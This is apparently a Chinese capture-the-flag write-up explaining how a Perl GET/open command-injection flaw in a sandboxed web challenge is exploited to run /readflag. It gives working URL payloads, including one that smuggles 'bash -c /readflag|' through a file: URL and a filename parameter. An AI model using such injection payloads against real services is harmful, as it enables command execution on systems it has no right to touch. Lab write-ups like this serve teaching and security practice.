打开题目,审计代码
前面一段会返回我们的IP,然后会将"orange"和我们的IP拼接后进行MD5加密
通过url参数输入的内容会以GET命令执行,
执行结果会被存入以filename参数的值命名的文件里
构造读取根目录并创建文件a
Payload:/?url=/&filename=a
Md5加密后的orange+IP:2ba7fe56ffb251699ec6e09ae00f2e87
查看文件
/sandbox/2ba7fe56ffb251699ec6e09ae00f2e87/a
看到flag和readflag,猜测正常方式读取不了flag,需要运行readflag文件
执行命令前需保证有相应的同名文件才会继续到open语句
所以先新建一个名为“bash -c /readflag|”的文件
构造payload:
/?url=&filename bash -c /readflag|
再利用GET执行bash -c /readflag|,并存为文件aa,payload:
/?url=file:bash -c /readflag|&filename=aa
访问文件
/sandbox/2ba7fe56ffb251699ec6e09ae00f2e87/aa
得到flag
本题考点是
perl脚本GET open命令漏洞
GET是Lib for WWW in Perl中的命令,目的是模拟http的GET请求,GET函数底层就是调用了open处理,open存在命令执行,并且还支持file函数



